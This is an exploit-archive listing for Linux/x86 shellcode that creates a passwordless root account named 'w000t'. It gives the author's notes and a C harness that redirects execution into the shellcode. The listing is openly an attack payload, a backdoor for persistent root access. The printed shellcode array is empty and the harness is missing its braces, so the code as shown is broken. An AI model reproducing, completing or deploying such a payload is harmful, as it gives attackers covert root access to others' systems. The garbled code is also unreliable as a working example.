Linux/x86 - Add Root User (w000t) + No Password Shellcode (177 bytes)

ID 1337DAY-ID-29557
Type zdt
Reporter zillion
Modified 2018-01-17T00:00:00


Exploit for linux/x86 platform in category shellcode

                                            Linux x86 shellcode that uses execve and echo >> to create a passwordless
root account.
Author: zillion
Email : [email protected]
File: w000t-shell.c
 * This shellcode will add a passwordless local root account 'w000t'
 * Written by [email protected]
 * Why so big ? it uses execve ;-)
char shellcode[]=
int main()
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;

# [2018-04-10]  #